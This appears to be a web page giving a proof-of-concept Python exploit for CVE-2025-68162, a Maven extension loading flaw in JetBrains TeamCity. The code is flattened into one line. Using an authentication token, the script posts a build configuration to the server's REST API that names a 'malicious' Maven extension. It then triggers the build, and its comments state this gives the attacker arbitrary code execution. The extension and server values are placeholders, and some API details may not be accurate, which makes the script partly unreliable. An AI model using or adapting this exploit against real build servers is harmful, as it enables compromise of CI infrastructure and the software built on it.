CVE-2025-68162: JetBrains TeamCity Maven Embedder扩展加载漏洞

# CVE-2025-68162 PoC - JetBrains TeamCity Maven Extension Loading # This PoC demonstrates how a privileged user can load arbitrary Maven extensions import requests import json # Configuration TEAMCITY_URL = "http://target-teamcity-server:8111" AUTH_TOKEN = "your-authentication-token" PROJECT_ID = "project_id_to_exploit" def create_malicious_build_config(): """ Create a build configuration that loads a malicious Maven extension """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {AUTH_TOKEN}" } # Malicious Maven extension coordinates malicious_extension = { "name": "MaliciousMavenPlugin", "groupId": "com.malicious", "artifactId": "malicious-plugin", "version": "1.0.0" } # Build configuration with malicious Maven extension build_config = { "id": "malicious_build", "name": "Malicious Build Configuration", "projectId": PROJECT_ID, "steps": [ { "id": "maven_build", "name": "Maven Build", "type": "maven", "properties": { "goals": "clean install", "mavenExtensions": json.dumps([malicious_extension]) } } ] } # Create the build configuration via TeamCity REST API response = requests.post( f"{TEAMCITY_URL}/app/rest/buildTypes", headers=headers, json=build_config ) if response.status_code == 200: print("[+] Malicious build configuration created successfully") return response.json().get("id") else: print(f"[-] Failed to create build configuration: {response.text}") return None def trigger_build(build_type_id): """ Trigger the malicious build to execute the extension """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}" } response = requests.post( f"{TEAMCITY_URL}/app/rest/builds", headers=headers, params={"buildType": build_type_id} ) if response.status_code == 200: print("[+] Malicious build triggered - Maven extension will be loaded") print("[+] Attacker can now execute arbitrary code through the malicious extension") else: print(f"[-] Failed to trigger build: {response.text}") if __name__ == "__main__": print("CVE-2025-68162 PoC - TeamCity Maven Extension Loading") print("=" * 50) # Step 1: Create malicious build configuration build_id = create_malicious_build_config() if build_id: # Step 2: Trigger the build to execute malicious extension trigger_build(build_id)